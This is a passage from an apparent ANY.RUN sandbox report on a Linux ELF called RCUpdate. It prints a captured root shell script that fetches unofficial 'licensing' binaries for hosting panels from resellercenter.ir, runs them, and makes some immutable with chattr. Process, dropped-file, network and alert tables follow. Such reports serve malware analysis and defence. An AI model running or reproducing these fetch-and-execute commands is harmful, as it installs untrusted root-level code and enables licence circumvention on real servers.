exit 0 fi if [ \"\${cmd}\" = \"softaculous\" ]; then echo \"\${GREEN}Installing Softaculous licensing system \.\.\. \${NC}\" wget -O install\.sh http://files\.softaculous\.com/install\.sh chmod 755 install\.sh \./install\.sh if [ -d /usr/local/cpanel ] then if [ \! -d /usr/local/cpanel/whostmgr/cgi/softaculous ] then echo \"\${RED}Softaculous did not installed\. Have you enabled Ioncube loader ? Please check : https://www\.softaculous\.com/docs/admin/installing-softaculous/ \${NC}\" exit 1; fi fi if [ -d /usr/local/directadmin ] then if [ \! -d /usr/local/directadmin/plugins/softaculous ] then echo \"\${RED}Softaculous did not installed\. Have you enabled Ioncube loader ? Please check : https://www\.softaculous\.com/docs/admin/installing-softaculous/ \${NC}\" exit 1; fi fi if [ -d /usr/local/psa ] then if [ \! -d /usr/local/softaculous ] then echo \"\${RED}Softaculous did not installed\. Have you enabled Ioncube loader ? Please check : https://www\.softaculous\.com/docs/admin/installing-softaculous/ \${NC}\" exit 1; fi fi wget -O /bin/RcLicenseSoftaculous https://sys\.resellercenter\.ir/RcLicenseSoftaculous > /dev/null 2>&1 chmod +x /bin/RcLicenseSoftaculous RcLicenseSoftaculous echo \"\${GREEN}Softaculous licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"sitepad\" ]; then echo \"\${GREEN}Installing Sitepad licensing system \.\.\. \${NC}\" wget -O install\.sh http://files\.sitepad\.com/install\.sh chmod 755 install\.sh \./install\.sh if [ \! -d /usr/local/sitepad ] then echo \"\${RED}SitePad did not installed\. Have you enabled Ioncube loader ? Please check : https://sitepad\.com/docs/admin/installing-sitepad/ \${NC}\" exit 1; fi wget -O /bin/RcLicenseSitepad https://sys\.resellercenter\.ir/RcLicenseSitepad > /dev/null 2>&1 chmod +x /bin/RcLicenseSitepad RcLicenseSitepad echo \"\${GREEN}Sitepad licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"virtualizor\" ]; then echo \"\${GREEN}Installing Virtualizor licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseVirtualizor https://sys\.resellercenter\.ir/RcLicenseVirtualizor > /dev/null 2>&1 chmod +x /bin/RcLicenseVirtualizor RcLicenseVirtualizor echo \"\${GREEN}Virtualizor licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"cpguard\" ]; then echo \"\${GREEN}Installing CPGuard licensing system \.\.\. \${NC}\" if [ -d /usr/local/cpanel ] then whmapi1 set_tweaksetting key=phploader value=ioncube,sourceguardian > /dev/null 2>&1 fi if [ \! -d /etc/cpguard ] then cd /usr/local/src && rm -f cpguard\.sh && curl -o cpguard\.sh -L https://mirror\.resellercenter\.ir/cpguard\.sh && chmod +x cpguard\.sh && \./cpguard\.sh install fi wget -O /bin/RcLicenseCPGuard https://sys\.resellercenter\.ir/RcLicenseCPGuard > /dev/null 2>&1 chmod +x /bin/RcLicenseCPGuard RcLicenseCPGuard echo \"\${GREEN}CPGuard licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"lslb\" ]; then echo \"\${GREEN}Installing LiteSpeed Load Balancer licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseLSLB https://sys\.resellercenter\.ir/RcLicenseLSLB > /dev/null 2>&1 chmod +x /bin/RcLicenseLSLB RcLicenseLSLB echo \"\${GREEN}LiteSpeed Load Balancer licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"whmreseller\" ]; then echo \"\${GREEN}Installing WHMReseller licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseWHMReseller https://sys\.resellercenter\.ir/RcLicenseWHMReseller > /dev/null 2>&1 chmod +x /bin/RcLicenseWHMReseller RcLicenseWHMReseller echo \"\${GREEN}WHMReseller licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"plesk\" ]; then echo \"\${GREEN}Installing Plesk licensing system \.\.\. \${NC}\" wget -O /bin/RcLicensePlesk https://sys\.resellercenter\.ir/RcLicensePlesk > /dev/null 2>&1 chmod +x /bin/RcLicensePlesk timeout 1 RcLicensePlesk &> /usr/local/RCBIN/\.file_status_rc if grep -q \"dumped core\" /usr/local/RCBIN/\.file_status_rc; then wget -O /bin/RcLicensePlesk https://sys\.resellercenter\.ir/RcLicensePlesk2 > /dev/null 2>&1 chmod +x /bin/RcLicensePlesk > /dev/null 2>&1 chattr +ia /bin/RcLicensePlesk > /dev/null 2>&1 chattr2 +ia /bin/RcLicensePlesk > /dev/null 2>&1 comp0 +ia /bin/RcLicensePlesk > /dev/null 2>&1 fi RcLicensePlesk echo \"\${GREEN}Plesk licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"directadmin\" ]; then echo \"\${GREEN}Installing DirectAdmin licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseDA https://sys\.resellercenter\.ir/RcLicenseDA > /dev/null 2>&1 chmod +x /bin/RcLicenseDA RcLicenseDA echo \"\${GREEN}DirectAdmin licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"dareseller\" ]; then echo \"\${GREEN}Installing DAReseller licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseDAReseller https://sys\.resellercenter\.ir/RcLicenseDAReseller > /dev/null 2>&1 chmod +x /bin/RcLicenseDAReseller RcLicenseDAReseller echo \"\${GREEN}DAReseller licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"osm\" ]; then echo \"\${GREEN}Installing OSM licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseOSM https://sys\.resellercenter\.ir/RcLicenseOSM > /dev/null 2>&1 chmod +x /bin/RcLicenseOSM RcLicenseOSM echo \"\${GREEN}OSM licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"cxs\" ]; then echo \"\${GREEN}Installing CXS licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseCXS https://sys\.resellercenter\.ir/RcLicenseCXS > /dev/null 2>&1 chmod +x /bin/RcLicenseCXS RcLicenseCXS echo \"\${GREEN}CXS licensing system has been installed\. Enjoy \${NC}\" exit 0 fi if [ \"\${cmd}\" = \"whmsonic\" ]; then echo \"\${GREEN}Installing WHMSonic licensing system \.\.\. \${NC}\" wget -O /bin/RcLicenseWHMSonic https://sys\.resellercenter\.ir/RcLicenseWHMSonic > /dev/null 2>&1 chmod +x /bin/RcLicenseWHMSonic RcLicenseWHMSonic echo \"\${GREEN}WHMSonic licensing system has been installed\. Enjoy \${NC}\" exit 0 fi echo \"\${RED}This product does not exist\! \${NC}\" exit 1 fi " /tmp/RCUpdate.elf/usr/bin/dash—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
256
40670/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40671-bash --login -c \/tmp\/RCUpdate\.elf/usr/bin/bash—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40672sh -c "cat /usr/etc/debuginfod/*\.urls 2>/dev/null"/usr/bin/dash—bash
User:
root
Integrity Level:
UNKNOWN
Exit code:
256
40673tr \n " "/usr/bin/tr—bash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
2
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
40682wget/root/.libcrypt.so.1_Downloadedbinary
MD5:—
SHA256:—
40685wget/root/.libfreebl3.so_Downloadedbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
12
DNS requests
15
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
185.125.190.97:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
40685
wget
GET
200
104.26.5.214:80
http://mirror.resellercenter.ir/libfreebl3.so
unknown
—
—
unknown
40682
wget
GET
200
104.26.4.214:80
http://mirror.resellercenter.ir/libcrypt.so.1
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
91.189.91.49:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
—
—
185.125.190.97:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
—
—
37.19.194.80:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
512
snapd
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
40682
wget
104.26.4.214:80
mirror.resellercenter.ir
CLOUDFLARENET
US
unknown
40685
wget
104.26.5.214:80
mirror.resellercenter.ir
CLOUDFLARENET
US
unknown
512
snapd
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.55:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 2001:67c:1562::23
  • 2620:2d:4002:1::197
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::96
  • 2001:67c:1562::24
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::2b
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::22
  • 185.125.190.97
  • 185.125.190.17
  • 91.189.91.96
  • 91.189.91.98
  • 185.125.190.96
  • 91.189.91.49
  • 185.125.190.49
  • 91.189.91.97
  • 91.189.91.48
  • 185.125.190.98
  • 185.125.190.18
  • 185.125.190.48
whitelisted
google.com
  • 142.250.186.78
  • 2a00:1450:4001:813::200e
whitelisted
odrs.gnome.org
  • 37.19.194.80
  • 207.211.211.27
  • 169.150.255.183
  • 169.150.255.180
  • 195.181.170.19
  • 212.102.56.178
  • 195.181.175.41
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::19
whitelisted
api.snapcraft.io
  • 185.125.188.58
  • 185.125.188.59
  • 185.125.188.54
  • 185.125.188.55
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::6d
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::117
whitelisted
mirror.resellercenter.ir
  • 104.26.4.214
  • 104.26.5.214
  • 172.67.74.120
unknown
173.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
40682
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
40685
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
RCUpdate